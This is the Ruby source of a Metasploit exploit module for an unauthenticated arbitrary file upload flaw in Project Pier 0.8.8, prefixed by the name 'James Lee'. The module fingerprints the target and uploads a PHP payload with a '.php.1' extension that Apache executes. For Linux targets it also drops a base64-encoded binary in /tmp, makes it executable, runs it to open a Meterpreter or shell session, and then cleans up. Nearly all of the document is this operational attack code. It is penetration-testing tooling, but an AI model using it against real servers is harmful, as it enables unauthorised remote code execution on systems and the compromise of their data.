James Lee
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::EXE
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def initialize(info={})
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super(update_info(info,
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'Name' => "Project Pier Arbitrary File Upload Vulnerability",
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'Description' => %q{
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This module exploits a vulnerability found in Project Pier. The application's
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uploading tool does not require any authentication, which allows a malicious user
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to upload an arbitrary file onto the web server, and then cause remote code
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execution by simply requesting it. This module is known to work against Apache
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servers due to the way it handles an extension name, but the vulnerability may
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not be exploitable on others.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'BlackHawk',
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'sinn3r'
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],
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'References' =>
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[
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['OSVDB', '85881'],
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['URL', 'http://packetstormsecurity.org/files/117070/ProjectPier-0.8.8-Shell-Upload.html']
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],
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'Platform' => ['linux', 'php'],
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'Targets' =>
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[
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[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
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[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
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],
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'Arch' => ARCH_CMD,
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'Privileged' => false,
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'DisclosureDate' => "Oct 8 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The path to the web application', '/pp088/'])
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], self.class)
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end
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def check
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target_uri.path << '/' if target_uri.path[-1,1] != '/'
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base = File.dirname("#{target_uri.path}.")
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res = send_request_cgi(
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{
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'method' => 'GET',
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'uri' => "#{base}/index.php",
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'vars_get' =>
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{
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'c' => 'access',
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'a' => 'login'
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}
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})
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if res and res.body =~ /Welcome to ProjectPier 0\.8\.[0-8]/ and res.headers['Server'] =~ /^Apache/
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return Exploit::CheckCode::Vulnerable
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else
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return Exploit::CheckCode::Safe
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end
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end
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def get_write_exec_payload(fname, data)
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p = Rex::Text.encode_base64(generate_payload_exe)
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php = %Q|
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<?php
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$f = fopen("#{fname}", "wb");
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fwrite($f, base64_decode("#{p}"));
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fclose($f);
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exec("chmod 777 #{fname}");
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exec("#{fname}");
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?>
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php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
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return php
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end
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def on_new_session(cli)
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if cli.type == "meterpreter"
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cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
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end
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@clean_files.each do |f|
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print_debug("#{@peer} - Removing: #{f}")
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begin
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if cli.type == 'meterpreter'
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cli.fs.file.rm(f)
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else
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cli.shell_command_token("rm #{f}")
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end
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print_debug("File removed: #{f}")
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rescue ::Exception => e
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print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
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end
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end
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end
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def upload_php(base, fname, php_payload, folder_name)
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data = Rex::MIME::Message.new
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data.add_part(folder_name, nil, nil, 'form-data; name="folder"')
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data.add_part(php_payload, nil, nil, "form-data; name=file; filename=\"#{fname}\"")
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data.add_part('', nil, nil, 'form-data; name="part"')
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data.add_part('Submit', nil, nil, 'form-data; name="submit"')
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post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "#{base}/tools/upload_file.php",
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => post_data
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})
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return res.body if res
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end
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def exec_php(base, body)
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# Body example:
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# 0 ./upload/test/test.txt-0001
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uri = body.scan(/(\/.+$)/).flatten[0]
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@clean_files << File.basename(uri)
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res = send_request_raw({'uri' => "#{base}/tools#{uri}"})
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if res and res.code == 404
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print_error("#{@peer} - The upload most likely failed")
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return
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end
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handler
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end
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def exploit
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@peer = "#{rhost}:#{rport}"
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target_uri.path << '/' if target_uri.path[-1,1] != '/'
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base = File.dirname("#{target_uri.path}.")
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folder_name = Rex::Text.rand_text_alpha(4)
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php_fname = "#{Rex::Text.rand_text_alpha(5)}.php.1"
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@clean_files = []
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case target['Platform']
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when 'php'
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p = "<?php #{payload.encoded} ?>"
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when 'linux'
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bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
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@clean_files << bin_name
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bin = generate_payload_exe
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p = get_write_exec_payload("/tmp/#{bin_name}", bin)
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end
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print_status("#{@peer} - Uploading PHP payload (#{p.length.to_s} bytes)...")
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res = upload_php(base, php_fname, p, folder_name)
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if not res
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print_error("#{@peer} - No response from server")
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return
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end
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print_status("#{@peer} - Executing '#{php_fname}'...")
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exec_php(base, res)
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end
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end
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